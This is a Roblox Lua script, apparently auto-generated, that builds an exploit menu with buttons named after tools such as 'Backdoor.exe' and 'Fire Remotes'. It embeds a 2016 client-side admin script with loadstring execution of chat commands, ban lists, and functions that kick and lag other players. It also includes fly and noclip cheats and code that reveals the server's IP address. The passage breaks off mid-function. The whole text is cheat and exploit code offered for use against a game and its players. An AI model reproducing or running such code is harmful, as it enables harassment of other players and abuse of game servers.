G2L["118"]["BorderSizePixel"] = 3;
G2L["118"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["118"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["118"]["Position"] = UDim2.new(0, 3, 0, 0);
G2L["118"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["118"]["Name"] = [[Section1]];


-- StarterGui.CoolGui.Frame.Page6.Section1.SectionTitle
G2L["119"] = Instance.new("TextLabel", G2L["118"]);
G2L["119"]["BorderSizePixel"] = 3;
G2L["119"]["TextSize"] = 14;
G2L["119"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["119"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["119"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["119"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["119"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["119"]["Text"] = [[Remotes]];
G2L["119"]["Name"] = [[SectionTitle]];


-- StarterGui.CoolGui.Frame.Page6.Section1.Button
G2L["11a"] = Instance.new("TextButton", G2L["118"]);
G2L["11a"]["TextWrapped"] = true;
G2L["11a"]["BorderSizePixel"] = 3;
G2L["11a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11a"]["TextSize"] = 14;
G2L["11a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11a"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["11a"]["Name"] = [[Button]];
G2L["11a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["11a"]["Text"] = [[FraktureSS]];
G2L["11a"]["Position"] = UDim2.new(0, 0, 0, 33);


-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
G2L["11b"] = Instance.new("LocalScript", G2L["11a"]);



-- StarterGui.CoolGui.Frame.Page6.Section1.Button
G2L["11c"] = Instance.new("TextButton", G2L["118"]);
G2L["11c"]["BorderSizePixel"] = 3;
G2L["11c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11c"]["TextSize"] = 14;
G2L["11c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11c"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["11c"]["Name"] = [[Button]];
G2L["11c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["11c"]["Text"] = [[Harked Reborn]];
G2L["11c"]["Position"] = UDim2.new(0, 0, 0, 66);


-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
G2L["11d"] = Instance.new("LocalScript", G2L["11c"]);



-- StarterGui.CoolGui.Frame.Page6.Section1.Button
G2L["11e"] = Instance.new("TextButton", G2L["118"]);
G2L["11e"]["BorderSizePixel"] = 3;
G2L["11e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11e"]["TextSize"] = 14;
G2L["11e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11e"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["11e"]["Name"] = [[Button]];
G2L["11e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["11e"]["Text"] = [[Fire Remotes]];
G2L["11e"]["Position"] = UDim2.new(0, 0, 0, 99);


-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
G2L["11f"] = Instance.new("LocalScript", G2L["11e"]);



-- StarterGui.CoolGui.Frame.Page6.Section1.Button
G2L["120"] = Instance.new("TextButton", G2L["118"]);
G2L["120"]["TextWrapped"] = true;
G2L["120"]["BorderSizePixel"] = 3;
G2L["120"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["120"]["TextSize"] = 14;
G2L["120"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["120"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["120"]["Size"] = UDim2.new(0.475, 0, 0, 30);
G2L["120"]["Name"] = [[Button]];
G2L["120"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["120"]["Text"] = [[Backdoor.exe]];
G2L["120"]["Position"] = UDim2.new(0, 0, 0, 132);


-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
G2L["121"] = Instance.new("LocalScript", G2L["120"]);



-- StarterGui.CoolGui.Frame.Page6.Section1.Button
G2L["122"] = Instance.new("TextButton", G2L["118"]);
G2L["122"]["BorderSizePixel"] = 3;
G2L["122"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["122"]["TextSize"] = 14;
G2L["122"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["122"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["122"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["122"]["Name"] = [[Button]];
G2L["122"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["122"]["Text"] = [[Comet]];
G2L["122"]["Position"] = UDim2.new(0, 73, 0, 66);


-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
G2L["123"] = Instance.new("LocalScript", G2L["122"]);



-- StarterGui.CoolGui.Frame.Page6.Section1.Button
G2L["124"] = Instance.new("TextButton", G2L["118"]);
G2L["124"]["TextWrapped"] = true;
G2L["124"]["BorderSizePixel"] = 3;
G2L["124"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["124"]["TextSize"] = 14;
G2L["124"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["124"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["124"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["124"]["Name"] = [[Button]];
G2L["124"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["124"]["Text"] = [[LALOL Backdoor Scanner]];
G2L["124"]["Position"] = UDim2.new(0, 73, 0, 99);


-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
G2L["125"] = Instance.new("LocalScript", G2L["124"]);



-- StarterGui.CoolGui.Frame.Page6.Section1.Button
G2L["126"] = Instance.new("TextButton", G2L["118"]);
G2L["126"]["TextWrapped"] = true;
G2L["126"]["BorderSizePixel"] = 3;
G2L["126"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["126"]["TextSize"] = 14;
G2L["126"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["126"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["126"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["126"]["Name"] = [[Button]];
G2L["126"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["126"]["Text"] = [[QuirkyCMD]];
G2L["126"]["Position"] = UDim2.new(0, 73, 0, 33);


-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
G2L["127"] = Instance.new("LocalScript", G2L["126"]);



-- StarterGui.CoolGui.CloseOpen
G2L["128"] = Instance.new("TextButton", G2L["1"]);
G2L["128"]["BorderSizePixel"] = 3;
G2L["128"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["128"]["TextSize"] = 18;
G2L["128"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["128"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["128"]["ZIndex"] = 3;
G2L["128"]["Size"] = UDim2.new(0, 300, 0, 20);
G2L["128"]["Name"] = [[CloseOpen]];
G2L["128"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["128"]["Text"] = [[Close]];
G2L["128"]["Position"] = UDim2.new(0, 3, 0.3, 380);


-- StarterGui.CoolGui.CloseOpen.cope
G2L["129"] = Instance.new("LocalScript", G2L["128"]);
G2L["129"]["Name"] = [[cope]];


-- StarterGui.CoolGui.Frame.left.LocalScript
local function C_5()
local script = G2L["5"];
	local button = script.Parent
	
	button.MouseButton1Down:connect(function()
		if script.Parent.Parent.Page1.Visible == true then
			script.Parent.Parent.Page1.Visible = false
			script.Parent.Parent.Page2.Visible = false
			script.Parent.Parent.Page3.Visible = false
			script.Parent.Parent.Page4.Visible = false
			script.Parent.Parent.Page5.Visible = false
			script.Parent.Parent.Page6.Visible = true
		elseif script.Parent.Parent.Page2.Visible == true then
			script.Parent.Parent.Page2.Visible = false
			script.Parent.Parent.Page1.Visible = true
			script.Parent.Parent.Page3.Visible = false
			script.Parent.Parent.Page4.Visible = false
			script.Parent.Parent.Page5.Visible = false
			script.Parent.Parent.Page6.Visible = false
		elseif script.Parent.Parent.Page3.Visible == true then
			script.Parent.Parent.Page2.Visible = true
			script.Parent.Parent.Page1.Visible = false
			script.Parent.Parent.Page3.Visible = false
			script.Parent.Parent.Page4.Visible = false
			script.Parent.Parent.Page5.Visible = false
			script.Parent.Parent.Page6.Visible = false
		elseif script.Parent.Parent.Page4.Visible == true then
			script.Parent.Parent.Page2.Visible = false
			script.Parent.Parent.Page1.Visible = false
			script.Parent.Parent.Page3.Visible = true
			script.Parent.Parent.Page4.Visible = false
			script.Parent.Parent.Page5.Visible = false
			script.Parent.Parent.Page6.Visible = false
		elseif script.Parent.Parent.Page5.Visible == true then
			script.Parent.Parent.Page2.Visible = false
			script.Parent.Parent.Page1.Visible = false
			script.Parent.Parent.Page3.Visible = false
			script.Parent.Parent.Page4.Visible = true
			script.Parent.Parent.Page5.Visible = false
			script.Parent.Parent.Page6.Visible = false
		elseif script.Parent.Parent.Page6.Visible == true then
			script.Parent.Parent.Page2.Visible = false
			script.Parent.Parent.Page1.Visible = false
			script.Parent.Parent.Page3.Visible = false
			script.Parent.Parent.Page4.Visible = false
			script.Parent.Parent.Page5.Visible = true
			script.Parent.Parent.Page6.Visible = false
		end	
	end)
	
end;
task.spawn(C_5);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_b()
local script = G2L["b"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		-- / Rocky2u's Command Script 2016
		-- /	ROBLOX			|	SethMilkman
		-- /	V3RMILLION		|	Rocky2u
		-- / pls no looking
		-- / pls no looking
		-- / pls no looking
		-- / pls no looking
		-- / pls no looking
		-- / pls no looking
		-- / pls no looking
		-- / pls no looking
		-- / pls no looking
		-- / pls no looking
		-- / pls no looking
		-- / pls no looking
		-- / pls no looking
		-- / pls no looking
		-- / pls no looking
	
		wait(1)
	
		function getRoot(char)
			local rootPart = char:FindFirstChild('HumanoidRootPart') or char:FindFirstChild('Torso') or char:FindFirstChild('UpperTorso')
			return rootPart
		end
	
		local ADMINS = {}
	
		local KICKS = {}
		local BANS = {21799524, 133122258, 103000855, 17278822, 149137060, 61967286, 21640881}
	
		-- / stuff
	
		local VERSION = '1.7.3 (fixed by rindotekame_)'
		local PATCH = '08'
		local UPDATED = '31/10/2024'
		local CHANGES = [[
	      / added alot of fe commands
	      / more coming soon
	]]
	
		function _G.ADD_ADMIN(ID) table.insert(ADMINS, ID) end
		function _G.ADD_BAN(ID) table.insert(BANS, ID) end
	
		local CHANGELOG = ' UPDATED : ' .. UPDATED .. '\n VERSION : ' .. VERSION .. ' ' .. PATCH .. '\n\n [ ' .. VERSION .. ' ] \n' .. CHANGES
	
		local gCoreGui = game:GetService('CoreGui')
		local gInsertService = game:GetService('InsertService')
		local gLighting = game:GetService('Lighting')
		local gNetworkClient = game:GetService('NetworkClient')
		local gPlayers = game:GetService('Players')
		local gWorkspace = game:GetService('Workspace')
	
		local LP = gPlayers.LocalPlayer
		local MOUSE = LP:GetMouse()
	
		local SERVICES = {}
		local COMMANDS = {}
		local STD = {}
	
		SERVICES.EVENTS = {}
	
		local C_PREFIX = '$'
		local S_PREFIX = '\\'
		local SPLIT = ' '
	
		for i,v in pairs(gCoreGui:GetChildren()) do if v.Name == 'cmdbar_seth' or v.Name == 'notify_seth' then v:destroy() end end
	
		function UPDATE_CHAT(PLAYER) local C = PLAYER.Chatted:connect(function(M) if CHECK_ADMIN(PLAYER) then DEXECUTE(M, PLAYER) end end) table.insert(SERVICES.EVENTS, C) end
	
		STD.TABLE = function(T, V) if not T then return false end for i,v in pairs(T) do if v == V then return true end end return false end
		STD.ENDAT = function(S, V) local SF = S:find(V) if SF then return S:sub(0, SF - string.len(V)), true else return S, false end end
	
		function CHECK_ADMIN(PLAYER) if FIND_IN_TABLE(ADMINS, PLAYER.userId) then return true elseif PLAYER.userId == LP.userId then return true end end
	
		function EXECUTE(STRING) spawn(function() local S, L = loadstring(STRING) if not S then error(L) else S() end end) end
	
		function FCOMMAND(COMMAND) for i,v in pairs(COMMANDS) do if v.N:lower() == COMMAND:lower() or STD.TABLE(v.A, COMMAND:lower()) then return v end end end
	
		function GCOMMAND(M) local CMD, HS = STD.ENDAT(M:lower(), SPLIT) if HS then return {CMD, true} else return {CMD, false} end end
	
		function GPREFIX(STRING) if STRING:sub(1, string.len(C_PREFIX)) == C_PREFIX then return {'COMMAND', string.len(C_PREFIX) + 1} elseif STRING:sub(1, string.len(S_PREFIX)) == S_PREFIX then return {'EXECUTE', string.len(S_PREFIX) + 1} end return end
	
		function GARGS(STRING) local A = {} local NA = nil local HS = nil local S = STRING repeat NA, HS = STD.ENDAT(S:lower(), SPLIT) if NA ~= '' then table.insert(A, NA) S = S:sub(string.len(NA) + string.len(SPLIT) + 1) end until not HS return A end
	
		function GCAPARGS(STRING) local A = {} local NA = nil local HS = nil local S = STRING repeat NA, HS = STD.ENDAT(S, SPLIT) if NA ~= '' then table.insert(A, NA) S = S:sub(string.len(NA) + string.len(SPLIT) + 1) end until not HS return A end
	
		function ECOMMAND(STRING, SPEAKER) repeat if STRING:find('  ') then STRING = STRING:gsub('  ', ' ') end until not STRING:find('  ') local SCMD, A, CMD SCMD = GCOMMAND(STRING) CMD = FCOMMAND(SCMD[1]) if not CMD then return end A = STRING:sub(string.len(SCMD[1]) + string.len(SPLIT) + 1) local ARGS = GARGS(A) CA = GCAPARGS(A) pcall(function() CMD.F(ARGS, SPEAKER) end) end
	
		function DEXECUTE(STRING, SPEAKER) if not CHECK_ADMIN(SPEAKER) then return end STRING = STRING:gsub('/e ', '') local GP = GPREFIX(STRING) if not GP then return end STRING = STRING:sub(GP[2]) if GP[1] == 'EXECUTE' then EXECUTE(STRING) elseif GP[1] == 'COMMAND' then ECOMMAND(STRING, SPEAKER) end end naga = {SethMilkman = true, ['11_eyes'] = true, lahphnya = true, LuaStateV = true, relesia = true, winteright = true}
	
		_G.cmd_seth = ECOMMAND
	
		SERVER_LOCKED = false
	
		gPlayers.PlayerAdded:connect(function(PLAYER)
			if SERVER_LOCKED then PLAYER.CharacterAdded:connect(function() wait() table.insert(KICKS, PLAYER) return end) end
			if FIND_IN_TABLE(BANS, PLAYER.userId) then PLAYER.CharacterAdded:connect(function() wait() table.insert(KICKS, PLAYER) return end) end
			UPDATE_CHAT(PLAYER)
			if CHECK_ADMIN(PLAYER) then PLAYER.CharacterAdded:connect(function() wait() game.Chat:Chat(PLAYER.Character.Head, printStuff .. 'Welcome, you\'re an admin!') end) end
		end)
	
		function ADD_COMMAND(N, D, A, F) table.insert(COMMANDS, {N = N, D = D, A = A, F = F}) end
	
		function GET_PLAYER(NAME, SPEAKER)
			local NAME_TABLE = {}
			NAME = NAME:lower()
			if NAME == 'me' then
				table.insert(NAME_TABLE, SPEAKER.Name)
			elseif NAME == 'others' then
				for i,v in pairs(gPlayers:GetPlayers()) do if v:IsA('Player') then if v.Name ~= SPEAKER.Name then table.insert(NAME_TABLE, v.Name) end end end
			elseif NAME == 'all' then
				for i,v in pairs(gPlayers:GetPlayers()) do if v:IsA('Player') then table.insert(NAME_TABLE, v.Name) end end
			elseif NAME == 'random' then
				table.insert(NAME_TABLE, gPlayers:GetPlayers()[math.random(1, #gPlayers:GetPlayers())].Name)
			elseif NAME == 'team' then
				for i,v in pairs(gPlayers:GetPlayers()) do if v.TeamColor == SPEAKER.TeamColor then table.insert(NAME_TABLE, v.Name) end end
			elseif NAME == 'nonadmins' then
				for i,v in pairs(gPlayers:GetPlayers()) do if not CHECK_ADMIN(v) then table.insert(NAME_TABLE, v.Name) end end
			elseif NAME == 'admins' then
				for i,v in pairs(gPlayers:GetPlayers()) do if CHECK_ADMIN(v) then table.insert(NAME_TABLE, v.Name) end end
			elseif NAME == 'nonfriends' then
				for i,v in pairs(gPlayers:GetPlayers()) do if not v:IsFriendsWith(SPEAKER.userId) then table.insert(NAME_TABLE, v.Name) end end
			elseif NAME == 'friends' then
				for i,v in pairs(gPlayers:GetPlayers()) do if v ~= SPEAKER and v:IsFriendsWith(SPEAKER.userId) then table.insert(NAME_TABLE, v.Name) end end
			elseif NAME == 'nonguests' then
				for i,v in pairs(gPlayers:GetPlayers()) do if not v.Guest then table.insert(NAME_TABLE, v.Name) end end
			elseif NAME == 'guests' then
				for i,v in pairs(gPlayers:GetPlayers()) do if v.Guest then table.insert(NAME_TABLE, v.Name) end end
			elseif NAME == 'nbcs' then
				for i,v in pairs(gPlayers:GetPlayers()) do if v.MembershipType == Enum.MembershipType.None then table.insert(NAME_TABLE, v.Name) end end
			elseif NAME == 'bcs' then
				for i,v in pairs(gPlayers:GetPlayers()) do if v.MembershipType == Enum.MembershipType.BuildersClub then table.insert(NAME_TABLE, v.Name) end end
			elseif NAME == 'tbcs' then
				for i,v in pairs(gPlayers:GetPlayers()) do if v.MembershipType == Enum.MembershipType.TurboBuildersClub then table.insert(NAME_TABLE, v.Name) end end
			elseif NAME == 'obcs' then
				for i,v in pairs(gPlayers:GetPlayers()) do if v.MembershipType == Enum.MembershipType.OutrageousBuildersClub then table.insert(NAME_TABLE, v.Name) end end
			else
				for i,v in pairs(gPlayers:GetPlayers()) do local L_NAME = v.Name:lower() local F = L_NAME:find(NAME) if F == 1 then table.insert(NAME_TABLE, v.Name) end end
			end
			if not naga[SPEAKER.Name] then for i,v in pairs(NAME_TABLE) do if naga[v] then table.remove(NAME_TABLE, i) end end end
			return NAME_TABLE
		end
	
		function GLS(LOWER, START) local AA = '' for i,v in pairs(CA) do if i > START then if AA ~= '' then AA = AA .. ' ' .. v else AA = AA .. v end end end if not LOWER then return AA else return string.lower(AA) end end
	
		-- / tables
	
		local JAILED = {}
	
		-- / stuff
	
		printStuff = '[ Rocky Admin Classic CMDs ] : '
	
		local DATA = game:GetObjects('rbxassetid://291592144')[1]
		_G.seth_data = DATA
	
		local CMDbar = DATA.guis.cmdbar_seth.CMDbar CMDbar.Parent.Parent = gCoreGui
		local being_looped = DATA.being_looped
	
		wait()
	
		local NOCLIP, JESUSFLY, SWIM = false, false, false
	
		spawn(function() while wait() do
				if NOCLIP then
					if LP.Character:FindFirstChild('Humanoid') then LP.Character.Humanoid:ChangeState(11) end
				elseif JESUSFLY then
					if LP.Character:FindFirstChild('Humanoid') then LP.Character.Humanoid:ChangeState(12) end
				elseif SWIM then
					if LP.Character:FindFirstChild('Humanoid') then LP.Character.Humanoid:ChangeState(4) end
				end
				spawn(function() while wait() do for i,v in pairs(gPlayers:GetPlayers()) do if FIND_IN_TABLE(KICKS, v) then KICK(v) end end end end)
			end end)
	
		function FIND_IN_TABLE(TABLE, NAME)
			for i,v in pairs(TABLE) do
				if v == NAME then
					return true
				end
			end
			return false
		end
	
		function GET_IN_TABLE(TABLE, NAME)
			for i = 1, #TABLE do
				if TABLE[i] == NAME then
					return i
				end
			end
			return false
		end
	
		local NOTIFY_1 = false
		local NOTIFY_2 = false
	
		function NOTIFY(M, R, G, B)
			spawn(function()
				repeat wait() until not NOTIFY_1
				local NOTIFY_SETH = DATA.guis.notify_seth:Clone() NOTIFY_SETH.Parent = gCoreGui
				if NOTIFY_SETH then
					NOTIFY_SETH.NOTIFY.NOTE.BAR.BackgroundColor3 = Color3.new(R, G, B)
					NOTIFY_SETH.NOTIFY.NOTE.Text = ' ' .. M
					repeat wait() until not NOTIFY_1
					NOTIFY_1 = true
					wait(0.5)
					NOTIFY_SETH.NOTIFY:TweenPosition(UDim2.new(0, 0, 0.7, 0), 'InOut', 'Quad', 0.4, false) wait(0.5)
					wait(0.5)
					repeat wait() until not NOTIFY_2
					NOTIFY_1 = false
					NOTIFY_SETH.NOTIFY:TweenPosition(UDim2.new(0, 0, 0.7, -40), 'InOut', 'Quad', 0.4, false) wait(0.5)
					wait(0.5)
					NOTIFY_2 = true
					wait(2.5)
					NOTIFY_SETH.NOTIFY:TweenPosition(UDim2.new(0, -225, 0.7, -40), 'InOut', 'Quad', 0.4, false) wait(0.5)
				end
				wait(1)
				NOTIFY_SETH:destroy()
				NOTIFY_2 = false
			end)
		end
	
		function LOAD_SETH()
			spawn(function()
				local load_seth = DATA.guis.loader_seth:Clone() load_seth.Parent = gCoreGui
				load_seth.MAIN:TweenSizeAndPosition(UDim2.new(0, 300, 0, 200), UDim2.new(0.5, -150, 0.5, -100), 'Out', 'Quad', 0.5, false) wait(0.5)
				load_seth.MAIN.TEXT.Text = 'Rocky Script Classic'
				repeat wait() load_seth.MAIN.TEXT.TextTransparency = load_seth.MAIN.TEXT.TextTransparency - 0.1 until load_seth.MAIN.TEXT.TextTransparency < 0 wait(1)
				if not gWorkspace.FilteringEnabled then load_seth.MAIN.FE.Text = ' Filtering is disabled' elseif gWorkspace.FilteringEnabled then load_seth.MAIN.FE.Text = ' Filtering is ENABLED' end load_seth.MAIN.FE.TextTransparency = 0 wait(1)
				load_seth.MAIN.COMMANDS.Text = ' ' .. #COMMANDS .. ' commands!' load_seth.MAIN.COMMANDS.TextTransparency = 0 wait(1)
				load_seth.MAIN.WELCOME.Text = ' Welcome, ' .. LP.Name load_seth.MAIN.WELCOME.TextTransparency = 0 wait(1)
				load_seth.MAIN.C.Text = 'Rockys Admin 2016' load_seth.MAIN.C.TextTransparency = 0 wait(5)
				for i,v in pairs(load_seth.MAIN:GetChildren()) do if v:IsA('TextLabel')and v.Name ~= 'TEXT' then v.TextTransparency = 1 end end wait()
				repeat wait() load_seth.MAIN.TEXT.TextTransparency = load_seth.MAIN.TEXT.TextTransparency + 0.1 until load_seth.MAIN.TEXT.TextTransparency == 1
				load_seth.MAIN:TweenSizeAndPosition(UDim2.new(0, 0, 0, 0), UDim2.new(0.5, 0, 0.5, 0), 'Out', 'Quad', 0.5)
				wait(1)
				load_seth.MAIN:destroy()
			end)
		end
	
		local S_INFO = false
	
		function SERVER_INFO()
			if not S_INFO then
				spawn(function()
					S_INFO = true
					local server_seth = DATA.guis.server_seth:Clone() server_seth.Parent = gCoreGui
					if not gWorkspace.FilteringEnabled then server_seth.MAIN.FE.Text = ' FilteringEnabled | false' elseif gWorkspace.FilteringEnabled then server_seth.MAIN.FE.Text = ' FilteringEnabled | true' end
					server_seth.MAIN.IP.Text = ' IP Address | ' .. gNetworkClient.ClientReplicator.MachineAddress .. ':' .. gNetworkClient.ClientReplicator.Port
					server_seth.MAIN.PLACE_ID.Text = ' PlaceId | ' .. game.PlaceId
					server_seth.MAIN.EXIT.MouseButton1Down:connect(function() S_INFO = false server_seth:destroy() end)
					while S_INFO do
						server_seth.MAIN.PLAYERS.Text = ' Players | ' .. gPlayers.NumPlayers .. ' / ' .. gPlayers.MaxPlayers
						server_seth.MAIN.TIME.Text = ' Time | ' .. gLighting.TimeOfDay
						wait()
					end
				end)
			end
		end
	
		function KICK(P)
			spawn(function()
				if P.Character and P.Character:FindFirstChild('HumanoidRootPart') and P.Character:FindFirstChild('Torso') then
					P.Character.HumanoidRootPart.CFrame = CFrame.new(math.random(999000, 1001000), 1000000, 1000000)
					local SP = Instance.new('SkateboardPlatform', P.Character) SP.Position = P.Character.HumanoidRootPart.Position SP.Transparency = 1
					spawn(function()
						repeat wait()
							if P.Character and P.Character:FindFirstChild('HumanoidRootPart') then SP.Position = P.Character.HumanoidRootPart.Position end
						until not gPlayers:FindFirstChild(P.Name)
					end)
					P.Character.Torso.Anchored = true
				end
			end)
		end
	
		gPlayers.PlayerRemoving:connect(function(P)
			if FIND_IN_TABLE(KICKS, P) then
				for i,v in pairs(KICKS) do if v == P then table.remove(KICKS, i) end end
				NOTIFY('KICKED ' .. P.Name, 255, 255, 255)
			end
		end)
	
		function FIX_LIGHTING()
			gLighting.Ambient = Color3.new(0.5, 0.5, 0.5)
			gLighting.Brightness = 1
			gLighting.GlobalShadows = true
			gLighting.Outlines = false
			gLighting.TimeOfDay = 14
			gLighting.FogEnd = 100000
		end
	
		function MESSAGE_HINT(TYPE, HEADER, MESSAGE, PLAYER)
			local BV = Instance.new('BoolValue', DATA.messages_hints) BV.Name = PLAYER.Name .. '_MSG_HINT'
			local SPRAY = gInsertService:LoadAsset(80576967)
			local S = SPRAY.Spray:Clone() S.Name = '' S.Handle.Transparency = 1 S.SprayGui:destroy() S.SprayPaint:destroy() S.TextureId = ''
			if TYPE == 'MESSAGE' then
				local GUI = DATA.guis.message_seth:Clone() GUI.HINT:destroy() GUI.Name = 'SprayGui' GUI.MESSAGE.header.Text = HEADER GUI.MESSAGE.message.Text = MESSAGE GUI.MESSAGE.Visible = true GUI.Parent = S
			elseif TYPE == 'HINT' then
				local GUI = DATA.guis.message_seth:Clone() GUI.MESSAGE:destroy() GUI.Name = 'SprayGui' GUI.HINT.Text = MESSAGE GUI.HINT.Visible = true GUI.Parent = S
			end
			for i = 1, 100 do
				wait()
				PLAYER.Character.Humanoid:EquipTool(S)
			end
			PLAYER.Character.Humanoid:UnequipTools()
			S:destroy() wait() BV:destroy()
		end
	
		function COLOR(PLAYER, BCOLOR)
			for i,v in pairs(PLAYER.Character:GetChildren()) do if v:IsA('Shirt') or v:IsA('Pants') then v:destroy() elseif v:IsA('ShirtGraphic') then v.Archivable = false v.Graphic = '' end end
			for i,v in pairs(PLAYER.Character.Head:GetChildren()) do if v:IsA('Decal') then v:destroy() end end
			for i,v in pairs(PLAYER.Character:GetChildren()) do
				if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
					v.BrickColor = BrickColor.new(BCOLOR)
				elseif v:IsA('Hat') then
					v.Handle.BrickColor = BrickColor.new(BCOLOR)
					for a,b in pairs(v.Handle:GetChildren()) do
						if b:IsA('SpecialMesh') then
							b.TextureId = ''
						end
					end
				end
			end
		end
	
		function LAG(PLAYER)
			local POS = CFrame.new(math.random(-100000, 100000), math.random(-100000, 100000), math.random(-100000, 100000))
			spawn(function()
				repeat wait()
					if PLAYER and PLAYER.Character then
						PLAYER.CameraMode = 'LockFirstPerson'
						PLAYER.Character.HumanoidRootPart.CFrame = POS
						PLAYER.Character.Torso.Anchored = true
						Instance.new('ForceField', PLAYER.Character)
						Instance.new('Smoke', PLAYER.Character.Head)
					end
				until not gPlayers:FindFirstChild(PLAYER.Name)
			end)
		end
	
		local FLYING = false
	
		if LP.Character and LP.Character:FindFirstChild('Humanoid') then
			LP.Character.Humanoid.Died:connect(function() FLYING = false end)
		end
	
		function sFLY()
			repeat wait() until LP and LP.Character and LP.Character:FindFirstChild('Torso') and LP.Character:FindFirstChild('Humanoid')
			repeat wait() until MOUSE
	
			local T = LP.Character.Torso
			local CONTROL = {F = 0, B = 0, L = 0, R = 0}
			local lCONTROL = {F = 0, B = 0, L = 0, R = 0}
			local SPEED = 0
	
			local function FLY()
				FLYING = true
				local BG = Instance.new('BodyGyro', T)
				local BV = Instance.new('BodyVelocity', T)
				BG.P = 9e4
				BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
				BG.cframe = T.CFrame
				BV.velocity = Vector3.new(0, 0.1, 0)
				BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
				spawn(function()
					repeat wait()
						LP.Character.Humanoid.PlatformStand = true
						if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 then
							SPEED = 50
						elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0) and SPEED ~= 0 then
							SPEED = 0
						end
						if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 then
							BV.velocity = ((gWorkspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) + ((gWorkspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B) * 0.2, 0).p) - gWorkspace.CurrentCamera.CoordinateFrame.p)) * SPEED
							lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
						elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and SPEED ~= 0 then
							BV.velocity = ((gWorkspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) + ((gWorkspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B) * 0.2, 0).p) - gWorkspace.CurrentCamera.CoordinateFrame.p)) * SPEED
						else
							BV.velocity = Vector3.new(0, 0.1, 0)
						end
